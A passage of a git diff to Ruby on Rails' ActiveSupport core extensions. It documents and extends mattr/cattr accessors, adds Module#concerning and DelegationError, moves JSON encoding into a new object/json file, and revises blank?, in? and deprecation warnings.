-  alias :old_initialize :initialize
-  # Overwrite initialize to set a default formatter.
-  def initialize(*args)
-    old_initialize(*args)
-    self.formatter = SimpleFormatter.new
-  end
-
-  # Simple formatter which only displays the message.
-  class SimpleFormatter < Logger::Formatter
-    # This method is invoked when a log event occurs
-    def call(severity, timestamp, progname, msg)
-      "#{String === msg ? msg : msg.inspect}\n"
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
index f2d4887..b4efff8 100644
--- a/activesupport/lib/active_support/core_ext/module.rb
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/module/anonymous'
 require 'active_support/core_ext/module/reachable'
 require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/concerning'
 require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/module/deprecation'
 require 'active_support/core_ext/module/remove_method'
diff --git a/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
index db07d54..67f0e03 100644
--- a/activesupport/lib/active_support/core_ext/module/attr_internal.rb
+++ b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
@@ -27,7 +27,8 @@ class Module
 
     def attr_internal_define(attr_name, type)
       internal_name = attr_internal_ivar_name(attr_name).sub(/\A@/, '')
-      class_eval do # class_eval is necessary on 1.9 or else the methods a made private
+      # class_eval is necessary on 1.9 or else the methods are made private
+      class_eval do
         # use native attr_* methods as they are faster on some Ruby implementations
         send("attr_#{type}", internal_name)
       end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 672cc02..d317df5 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -1,10 +1,59 @@
 require 'active_support/core_ext/array/extract_options'
 
+# Extends the module object with class/module and instance accessors for
+# class/module attributes, just like the native attr* accessors for instance
+# attributes.
 class Module
+  # Defines a class attribute and creates a class and instance reader methods.
+  # The underlying the class variable is set to +nil+, if it is not previously
+  # defined.
+  #
+  #   module HairColors
+  #     mattr_reader :hair_colors
+  #   end
+  #
+  #   HairColors.hair_colors # => nil
+  #   HairColors.class_variable_set("@@hair_colors", [:brown, :black])
+  #   HairColors.hair_colors # => [:brown, :black]
+  #
+  # The attribute name must be a valid method name in Ruby.
+  #
+  #   module Foo
+  #     mattr_reader :"1_Badname "
+  #   end
+  #   # => NameError: invalid attribute name
+  #
+  # If you want to opt out the creation on the instance reader method, pass
+  # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors, instance_reader: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors # => NoMethodError
+  #
+  #
+  # Also, you can pass a block to set up the attribute with a default value.
+  #
+  #   module HairColors
+  #     cattr_reader :hair_colors do
+  #       [:brown, :black, :blonde, :red]
+  #     end
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.hair_colors # => [:brown, :black, :blonde, :red]
   def mattr_reader(*syms)
     options = syms.extract_options!
     syms.each do |sym|
-      raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+      raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
       class_eval(<<-EOS, __FILE__, __LINE__ + 1)
         @@#{sym} = nil unless defined? @@#{sym}
 
@@ -20,14 +69,60 @@ class Module
           end
         EOS
       end
+      class_variable_set("@@#{sym}", yield) if block_given?
     end
   end
+  alias :cattr_reader :mattr_reader
 
+  # Defines a class attribute and creates a class and instance writer methods to
+  # allow assignment to the attribute.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   HairColors.hair_colors = [:brown, :black]
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+  #   Person.new.hair_colors = [:blonde, :red]
+  #   HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
+  #
+  # If you want to opt out the instance writer method, pass
+  # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors, instance_writer: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+  #
+  # Also, you can pass a block to set up the attribute with a default value.
+  #
+  #   class HairColors
+  #     mattr_writer :hair_colors do
+  #       [:brown, :black, :blonde, :red]
+  #     end
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
   def mattr_writer(*syms)
     options = syms.extract_options!
     syms.each do |sym|
-      raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+      raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
       class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+        @@#{sym} = nil unless defined? @@#{sym}
+
         def self.#{sym}=(obj)
           @@#{sym} = obj
         end
@@ -40,27 +135,78 @@ class Module
           end
         EOS
       end
+      send("#{sym}=", yield) if block_given?
     end
   end
+  alias :cattr_writer :mattr_writer
 
-  # Extends the module object with module and instance accessors for class attributes,
-  # just like the native attr* accessors for instance attributes.
+  # Defines both class and instance accessors for class attributes.
   #
-  #   module AppConfiguration
-  #     mattr_accessor :google_api_key
+  #   module HairColors
+  #     mattr_accessor :hair_colors
+  #   end
   #
-  #     self.google_api_key = "123456789"
+  #   class Person
+  #     include HairColors
   #   end
   #
-  #   AppConfiguration.google_api_key # => "123456789"
-  #   AppConfiguration.google_api_key = "overriding the api key!"
-  #   AppConfiguration.google_api_key # => "overriding the api key!"
+  #   Person.hair_colors = [:brown, :black, :blonde, :red]
+  #   Person.hair_colors     # => [:brown, :black, :blonde, :red]
+  #   Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+  #
+  # If a subclass changes the value then that would also change the value for
+  # parent class. Similarly if parent class changes the value then that would
+  # change the value of subclasses too.
+  #
+  #   class Male < Person
+  #   end
+  #
+  #   Male.hair_colors << :blue
+  #   Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
   #
   # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
   # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
-  # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
-  def mattr_accessor(*syms)
-    mattr_reader(*syms)
-    mattr_writer(*syms)
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:brown]  # => NoMethodError
+  #   Person.new.hair_colors             # => NoMethodError
+  #
+  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors, instance_accessor: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:brown]  # => NoMethodError
+  #   Person.new.hair_colors             # => NoMethodError
+  #
+  # Also you can pass a block to set up the attribute with a default value.
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors do
+  #       [:brown, :black, :blonde, :red]
+  #     end
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
+  def mattr_accessor(*syms, &blk)
+    mattr_reader(*syms, &blk)
+    mattr_writer(*syms, &blk)
   end
+  alias :cattr_accessor :mattr_accessor
 end
diff --git a/activesupport/lib/active_support/core_ext/module/concerning.rb b/activesupport/lib/active_support/core_ext/module/concerning.rb
new file mode 100644
index 0000000..07a3924
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/concerning.rb
@@ -0,0 +1,135 @@
+require 'active_support/concern'
+
+class Module
+  # = Bite-sized separation of concerns
+  #
+  # We often find ourselves with a medium-sized chunk of behavior that we'd
+  # like to extract, but only mix in to a single class.
+  #
+  # Extracting a plain old Ruby object to encapsulate it and collaborate or
+  # delegate to the original object is often a good choice, but when there's
+  # no additional state to encapsulate or we're making DSL-style declarations
+  # about the parent class, introducing new collaborators can obfuscate rather
+  # than simplify.
+  #
+  # The typical route is to just dump everything in a monolithic class, perhaps
+  # with a comment, as a least-bad alternative. Using modules in separate files
+  # means tedious sifting to get a big-picture view.
+  #
+  # = Dissatisfying ways to separate small concerns
+  #
+  # == Using comments:
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     ## Event tracking
+  #     has_many :events
+  #
+  #     before_create :track_creation
+  #     after_destroy :track_deletion
+  #
+  #     private
+  #       def track_creation
+  #         # ...
+  #       end
+  #   end
+  #
+  # == With an inline module:
+  #
+  # Noisy syntax.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     module EventTracking
+  #       extend ActiveSupport::Concern
+  #
+  #       included do
+  #         has_many :events
+  #         before_create :track_creation
+  #         after_destroy :track_deletion
+  #       end
+  #
+  #       private
+  #         def track_creation
+  #           # ...
+  #         end
+  #     end
+  #     include EventTracking
+  #   end
+  #
+  # == Mix-in noise exiled to its own file:
+  #
+  # Once our chunk of behavior starts pushing the scroll-to-understand it's
+  # boundary, we give in and move it to a separate file. At this size, the
+  # overhead feels in good proportion to the size of our extraction, despite
+  # diluting our at-a-glance sense of how things really work.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     include TodoEventTracking
+  #   end
+  #
+  # = Introducing Module#concerning
+  #
+  # By quieting the mix-in noise, we arrive at a natural, low-ceremony way to
+  # separate bite-sized concerns.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     concerning :EventTracking do
+  #       included do
+  #         has_many :events
+  #         before_create :track_creation
+  #         after_destroy :track_deletion
+  #       end
+  #
+  #       private
+  #         def track_creation
+  #           # ...
+  #         end
+  #     end
+  #   end
+  #
+  #   Todo.ancestors
+  #   # => Todo, Todo::EventTracking, Object
+  #
+  # This small step has some wonderful ripple effects. We can
+  # * grok the behavior of our class in one glance,
+  # * clean up monolithic junk-drawer classes by separating their concerns, and
+  # * stop leaning on protected/private for crude "this is internal stuff" modularity.
+  module Concerning
+    # Define a new concern and mix it in.
+    def concerning(topic, &block)
+      include concern(topic, &block)
+    end
+
+    # A low-cruft shortcut to define a concern.
+    #
+    #   concern :EventTracking do
+    #     ...
+    #   end
+    #
+    # is equivalent to
+    #
+    #   module EventTracking
+    #     extend ActiveSupport::Concern
+    #
+    #     ...
+    #   end
+    def concern(topic, &module_definition)
+      const_set topic, Module.new {
+        extend ::ActiveSupport::Concern
+        module_eval(&module_definition)
+      }
+    end
+  end
+  include Concerning
+end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index eebf7d3..f855833 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -1,7 +1,16 @@
 class Module
+  # Error generated by +delegate+ when a method is called on +nil+ and +allow_nil+
+  # option is not used.
+  class DelegationError < NoMethodError; end
+
   # Provides a +delegate+ class method to easily expose contained objects'
   # public methods as your own.
   #
+  # ==== Options
+  # * <tt>:to</tt> - Specifies the target object
+  # * <tt>:prefix</tt> - Prefixes the new method with the target name or a custom prefix
+  # * <tt>:allow_nil</tt> - if set to true, prevents a +NoMethodError+ to be raised
+  #
   # The macro receives one or more method names (specified as symbols or
   # strings) and the name of the target object via the <tt>:to</tt> option
   # (also a symbol or string).
@@ -129,6 +138,8 @@ class Module
   #
   #   Foo.new("Bar").name # raises NoMethodError: undefined method `name'
   #
+  # The target method must be public, otherwise it will raise +NoMethodError+.
+  #
   def delegate(*methods)
     options = methods.pop
     unless options.is_a?(Hash) && to = options[:to]
@@ -164,34 +175,35 @@ class Module
       #
       # Reason is twofold: On one hand doing less calls is in general better.
       # On the other hand it could be that the target has side-effects,
-      # whereas conceptualy, from the user point of view, the delegator should
+      # whereas conceptually, from the user point of view, the delegator should
       # be doing one call.
       if allow_nil
-        module_eval(<<-EOS, file, line - 3)
-          def #{method_prefix}#{method}(#{definition})        # def customer_name(*args, &block)
-            _ = #{to}                                         #   _ = client
-            if !_.nil? || nil.respond_to?(:#{method})         #   if !_.nil? || nil.respond_to?(:name)
-              _.#{method}(#{definition})                      #     _.name(*args, &block)
-            end                                               #   end
-          end                                                 # end
-        EOS
+        method_def = [
+          "def #{method_prefix}#{method}(#{definition})",  # def customer_name(*args, &block)
+          "_ = #{to}",                                     #   _ = client
+          "if !_.nil? || nil.respond_to?(:#{method})",     #   if !_.nil? || nil.respond_to?(:name)
+          "  _.#{method}(#{definition})",                  #     _.name(*args, &block)
+          "end",                                           #   end
+        "end"                                              # end
+        ].join ';'
       else
-        exception = %(raise "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
+        exception = %(raise DelegationError, "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
 
-        module_eval(<<-EOS, file, line - 2)
-          def #{method_prefix}#{method}(#{definition})                                          # def customer_name(*args, &block)
-            _ = #{to}                                                                           #   _ = client
-            _.#{method}(#{definition})                                                          #   _.name(*args, &block)
-          rescue NoMethodError => e                                                             # rescue NoMethodError => e
-            location = "%s:%d:in `%s'" % [__FILE__, __LINE__ - 2, '#{method_prefix}#{method}']  #   location = "%s:%d:in `%s'" % [__FILE__, __LINE__ - 2, 'customer_name']
-            if _.nil? && e.backtrace.first == location                                          #   if _.nil? && e.backtrace.first == location
-              #{exception}                                                                      #     # add helpful message to the exception
-            else                                                                                #   else
-              raise                                                                             #     raise
-            end                                                                                 #   end
-          end                                                                                   # end
-        EOS
+        method_def = [
+          "def #{method_prefix}#{method}(#{definition})",  # def customer_name(*args, &block)
+          " _ = #{to}",                                    #   _ = client
+          "  _.#{method}(#{definition})",                  #   _.name(*args, &block)
+          "rescue NoMethodError => e",                     # rescue NoMethodError => e
+          "  if _.nil? && e.name == :#{method}",           #   if _.nil? && e.name == :name
+          "    #{exception}",                              #     # add helpful message to the exception
+          "  else",                                        #   else
+          "    raise",                                     #     raise
+          "  end",                                         #   end
+          "end"                                            # end
+        ].join ';'
       end
+
+      module_eval(method_def, file, line)
     end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
index d873de1..56d670f 100644
--- a/activesupport/lib/active_support/core_ext/module/deprecation.rb
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -1,5 +1,3 @@
-require 'active_support/deprecation/method_wrappers'
-
 class Module
   #   deprecate :foo
   #   deprecate bar: 'message'
diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb
index 08e5f8a..f1d26ef 100644
--- a/activesupport/lib/active_support/core_ext/module/introspection.rb
+++ b/activesupport/lib/active_support/core_ext/module/introspection.rb
@@ -59,20 +59,4 @@ class Module
   def local_constants #:nodoc:
     constants(false)
   end
-
-  # *DEPRECATED*: Use +local_constants+ instead.
-  #
-  # Returns the names of the constants defined locally as strings.
-  #
-  #   module M
-  #     X = 1
-  #   end
-  #   M.local_constant_names # => ["X"]
-  #
-  # This method is useful for forward compatibility, since Ruby 1.8 returns
-  # constant names as strings, whereas 1.9 returns them as symbols.
-  def local_constant_names
-    ActiveSupport::Deprecation.warn 'Module#local_constant_names is deprecated, use Module#local_constants instead'
-    local_constants.map { |c| c.to_s }
-  end
 end
diff --git a/activesupport/lib/active_support/core_ext/module/method_transplanting.rb b/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
new file mode 100644
index 0000000..b1097cc
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
@@ -0,0 +1,11 @@
+class Module
+  ###
+  # TODO: remove this after 1.9 support is dropped
+  def methods_transplantable? # :nodoc:
+    x = Module.new { def foo; end }
+    Module.new { define_method :bar, x.instance_method(:foo) }
+    true
+  rescue TypeError
+    false
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
index 87b9a23..704c424 100644
--- a/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -63,6 +63,7 @@ class Numeric
 
   # Reads best without arguments:  10.minutes.ago
   def ago(time = ::Time.current)
+    ActiveSupport::Deprecation.warn "Calling #ago or #until on a number (e.g. 5.ago) is deprecated and will be removed in the future, use 5.seconds.ago instead"
     time - self
   end
 
@@ -71,9 +72,16 @@ class Numeric
 
   # Reads best with argument:  10.minutes.since(time)
   def since(time = ::Time.current)
+    ActiveSupport::Deprecation.warn "Calling #since or #from_now on a number (e.g. 5.since) is deprecated and will be removed in the future, use 5.seconds.since instead"
     time + self
   end
 
   # Reads best without arguments:  10.minutes.from_now
   alias :from_now :since
+
+  # Used with the standard time durations, like 1.hour.in_milliseconds -- 
+  # so we can feed them to JavaScript functions like getTime().
+  def in_milliseconds
+    self * 1000
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/object.rb b/activesupport/lib/active_support/core_ext/object.rb
index ec21572..f4f9152 100644
--- a/activesupport/lib/active_support/core_ext/object.rb
+++ b/activesupport/lib/active_support/core_ext/object.rb
@@ -8,7 +8,7 @@ require 'active_support/core_ext/object/inclusion'
 require 'active_support/core_ext/object/conversions'
 require 'active_support/core_ext/object/instance_variables'
 
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
 require 'active_support/core_ext/object/to_param'
 require 'active_support/core_ext/object/to_query'
 require 'active_support/core_ext/object/with_options'
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
index 8a5eb4b..38e4347 100644
--- a/activesupport/lib/active_support/core_ext/object/blank.rb
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -4,36 +4,42 @@ class Object
   # An object is blank if it's false, empty, or a whitespace string.
   # For example, '', '   ', +nil+, [], and {} are all blank.
   #
-  # This simplifies:
+  # This simplifies
   #
-  #   if address.nil? || address.empty?
+  #   address.nil? || address.empty?
   #
-  # ...to:
+  # to
   #
-  #   if address.blank?
+  #   address.blank?
+  #
+  # @return [true, false]
   def blank?
-    respond_to?(:empty?) ? empty? : !self
+    respond_to?(:empty?) ? !!empty? : !self
   end
 
-  # An object is present if it's not <tt>blank?</tt>.
+  # An object is present if it's not blank.
+  #
+  # @return [true, false]
   def present?
     !blank?
   end
 
-  # Returns object if it's <tt>present?</tt> otherwise returns +nil+.
-  # <tt>object.presence</tt> is equivalent to <tt>object.present? ? object : nil</tt>.
+  # Returns the receiver if it's present otherwise returns +nil+.
+  # <tt>object.presence</tt> is equivalent to
   #
-  # This is handy for any representation of objects where blank is the same
-  # as not present at all. For example, this simplifies a common check for
-  # HTTP POST/query parameters:
+  #    object.present? ? object : nil
+  #
+  # For example, something like
   #
   #   state   = params[:state]   if params[:state].present?
   #   country = params[:country] if params[:country].present?
   #   region  = state || country || 'US'
   #
-  # ...becomes:
+  # becomes
   #
   #   region = params[:state].presence || params[:country].presence || 'US'
+  #
+  # @return [Object]
   def presence
     self if present?
   end
@@ -43,6 +49,8 @@ class NilClass
   # +nil+ is blank:
   #
   #   nil.blank? # => true
+  #
+  # @return [true]
   def blank?
     true
   end
@@ -52,6 +60,8 @@ class FalseClass
   # +false+ is blank:
   #
   #   false.blank? # => true
+  #
+  # @return [true]
   def blank?
     true
   end
@@ -61,6 +71,8 @@ class TrueClass
   # +true+ is not blank:
   #
   #   true.blank? # => false
+  #
+  # @return [false]
   def blank?
     false
   end
@@ -71,6 +83,8 @@ class Array
   #
   #   [].blank?      # => true
   #   [1,2,3].blank? # => false
+  #
+  # @return [true, false]
   alias_method :blank?, :empty?
 end
 
@@ -79,18 +93,28 @@ class Hash
   #
   #   {}.blank?                # => true
   #   { key: 'value' }.blank?  # => false
+  #
+  # @return [true, false]
   alias_method :blank?, :empty?
 end
 
 class String
+  BLANK_RE = /\A[[:space:]]*\z/
+
   # A string is blank if it's empty or contains whitespaces only:
   #
-  #   ''.blank?                 # => true
-  #   '   '.blank?              # => true
-  #   ' '.blank?               # => true
-  #   ' something here '.blank? # => false
+  #   ''.blank?       # => true
+  #   '   '.blank?    # => true
+  #   "\t\n\r".blank? # => true
+  #   ' blah '.blank? # => false
+  #
+  # Unicode whitespace is supported:
+  #
+  #   "\u00a0".blank? # => true
+  #
+  # @return [true, false]
   def blank?
-    self !~ /[^[:space:]]/
+    BLANK_RE === self
   end
 end
 
@@ -99,6 +123,8 @@ class Numeric #:nodoc:
   #
   #   1.blank? # => false
   #   0.blank? # => false
+  #
+  # @return [false]
   def blank?
     false
   end
diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
index 1d639f3..2e99f4a 100644
--- a/activesupport/lib/active_support/core_ext/object/deep_dup.rb
+++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
@@ -8,8 +8,8 @@ class Object
   #   dup    = object.deep_dup
   #   dup.instance_variable_set(:@a, 1)
   #
-  #   object.instance_variable_defined?(:@a) #=> false
-  #   dup.instance_variable_defined?(:@a)    #=> true
+  #   object.instance_variable_defined?(:@a) # => false
+  #   dup.instance_variable_defined?(:@a)    # => true
   def deep_dup
     duplicable? ? dup : self
   end
@@ -22,8 +22,8 @@ class Array
   #   dup   = array.deep_dup
   #   dup[1][2] = 4
   #
-  #   array[1][2] #=> nil
-  #   dup[1][2]   #=> 4
+  #   array[1][2] # => nil
+  #   dup[1][2]   # => 4
   def deep_dup
     map { |it| it.deep_dup }
   end
@@ -36,8 +36,8 @@ class Hash
   #   dup  = hash.deep_dup
   #   dup[:a][:c] = 'c'
   #
-  #   hash[:a][:c] #=> nil
-  #   dup[:a][:c]  #=> "c"
+  #   hash[:a][:c] # => nil
+  #   dup[:a][:c]  # => "c"
   def deep_dup
     each_with_object(dup) do |(key, value), hash|
       hash[key.deep_dup] = value.deep_dup
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
index 5ea5f84..55f281b 100644
--- a/activesupport/lib/active_support/core_ext/object/inclusion.rb
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -1,5 +1,3 @@
-require 'active_support/deprecation'
-
 class Object
   # Returns true if this object is included in the argument. Argument must be
   # any object which responds to +#include?+. Usage:
@@ -9,18 +7,21 @@ class Object
   #
   # This will throw an ArgumentError if the argument doesn't respond
   # to +#include?+.
-  def in?(*args)
-    if args.length > 1
-      ActiveSupport::Deprecation.warn "Calling #in? with multiple arguments is" \
-        " deprecated, please pass in an object that responds to #include? instead."
-      args.include? self
-    else
-      another_object = args.first
-      if another_object.respond_to? :include?
-        another_object.include? self
-      else
-        raise ArgumentError.new 'The single parameter passed to #in? must respond to #include?'
-      end
-    end
+  def in?(another_object)
+    another_object.include?(self)
+  rescue NoMethodError
+    raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
+  end
+
+  # Returns the receiver if it's included in the argument otherwise returns +nil+.
+  # Argument must be any object which responds to +#include?+. Usage:
+  #
+  #   params[:bucket_type].presence_in %w( project calendar )
+  #
+  # This will throw an ArgumentError if the argument doesn't respond to +#include?+.
+  #
+  # @return [Object]
+  def presence_in(another_object)
+    self.in?(another_object) ? self : nil
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/json.rb b/activesupport/lib/active_support/core_ext/object/json.rb
new file mode 100644
index 0000000..8e08cfb
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/json.rb
@@ -0,0 +1,197 @@
+# Hack to load json gem first so we can overwrite its to_json.
+require 'json'
+require 'bigdecimal'
+require 'active_support/core_ext/big_decimal/conversions' # for #to_s
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/object/instance_variables'
+require 'time'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/date_time/conversions'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/module/aliasing'
+
+# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
+# their default behavior. That said, we need to define the basic to_json method in all of them,
+# otherwise they will always use to_json gem implementation, which is backwards incompatible in
+# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
+# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
+#
+# On the other hand, we should avoid conflict with ::JSON.{generate,dump}(obj). Unfortunately, the
+# JSON gem's encoder relies on its own to_json implementation to encode objects. Since it always
+# passes a ::JSON::State object as the only argument to to_json, we can detect that and forward the
+# calls to the original to_json method.
+#
+# It should be noted that when using ::JSON.{generate,dump} directly, ActiveSupport's encoder is
+# bypassed completely. This means that as_json won't be invoked and the JSON gem will simply
+# ignore any options it does not natively understand. This also means that ::JSON.{generate,dump}
+# should give exactly the same results with or without active support.
+[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].each do |klass|
+  klass.class_eval do
+    def to_json_with_active_support_encoder(options = nil)
+      if options.is_a?(::JSON::State)
+        # Called from JSON.{generate,dump}, forward it to JSON gem's to_json
+        self.to_json_without_active_support_encoder(options)
+      else
+        # to_json is being invoked directly, use ActiveSupport's encoder
+        ActiveSupport::JSON.encode(self, options)
+      end
+    end
+
+    alias_method_chain :to_json, :active_support_encoder
+  end
+end
+
+class Object
+  def as_json(options = nil) #:nodoc:
+    if respond_to?(:to_hash)
+      to_hash.as_json(options)
+    else
+      instance_values.as_json(options)
+    end
+  end
+end
+
+class Struct #:nodoc:
+  def as_json(options = nil)
+    Hash[members.zip(values)].as_json(options)
+  end
+end
+
+class TrueClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class FalseClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class NilClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class String
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class Symbol
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+class Numeric
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class Float
+  # Encoding Infinity or NaN to JSON should return "null". The default returns
+  # "Infinity" or "NaN" which are not valid JSON.
+  def as_json(options = nil) #:nodoc:
+    finite? ? self : nil
+  end
+end
+
+class BigDecimal
+  # A BigDecimal would be naturally represented as a JSON number. Most libraries,
+  # however, parse non-integer JSON numbers directly as floats. Clients using
+  # those libraries would get in general a wrong number and no way to recover
+  # other than manually inspecting the string with the JSON code itself.
+  #
+  # That's why a JSON string is returned. The JSON literal is not numeric, but
+  # if the other end knows by contract that the data is supposed to be a
+  # BigDecimal, it still has the chance to post-process the string and get the
+  # real value.
+  def as_json(options = nil) #:nodoc:
+    finite? ? to_s : nil
+  end
+end
+
+class Regexp
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+module Enumerable
+  def as_json(options = nil) #:nodoc:
+    to_a.as_json(options)
+  end
+end
+
+class Range
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+class Array
+  def as_json(options = nil) #:nodoc:
+    map { |v| options ? v.as_json(options.dup) : v.as_json }
+  end
+end
+
+class Hash
+  def as_json(options = nil) #:nodoc:
+    # create a subset of the hash by applying :only or :except
+    subset = if options
+      if attrs = options[:only]
+        slice(*Array(attrs))
+      elsif attrs = options[:except]
+        except(*Array(attrs))
+      else
+        self
+      end
+    else
+      self
+    end
+
+    Hash[subset.map { |k, v| [k.to_s, options ? v.as_json(options.dup) : v.as_json] }]
+  end
+end
+
+class Time
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport.use_standard_json_time_format
+      xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+    else
+      %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+    end
+  end
+end
+
+class Date
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport.use_standard_json_time_format
+      strftime("%Y-%m-%d")
+    else
+      strftime("%Y/%m/%d")
+    end
+  end
+end
+
+class DateTime
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport.use_standard_json_time_format
+      xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+    else
+      strftime('%Y/%m/%d %H:%M:%S %z')
+    end
+  end
+end
+
+class Process::Status #:nodoc:
+  def as_json(options = nil)
+    { :exitstatus => exitstatus, :pid => pid }
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/to_json.rb b/activesupport/lib/active_support/core_ext/object/to_json.rb
index 83cc806..3dcae6f 100644
--- a/activesupport/lib/active_support/core_ext/object/to_json.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_json.rb
@@ -1,27 +1,5 @@
-# Hack to load json gem first so we can overwrite its to_json.
-begin
-  require 'json'
-rescue LoadError
-end
+ActiveSupport::Deprecation.warn 'You have required `active_support/core_ext/object/to_json`. ' \
+  'This file will be removed in Rails 4.2. You should require `active_support/core_ext/object/json` ' \
+  'instead.'
 
-# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
-# their default behavior. That said, we need to define the basic to_json method in all of them,
-# otherwise they will always use to_json gem implementation, which is backwards incompatible in
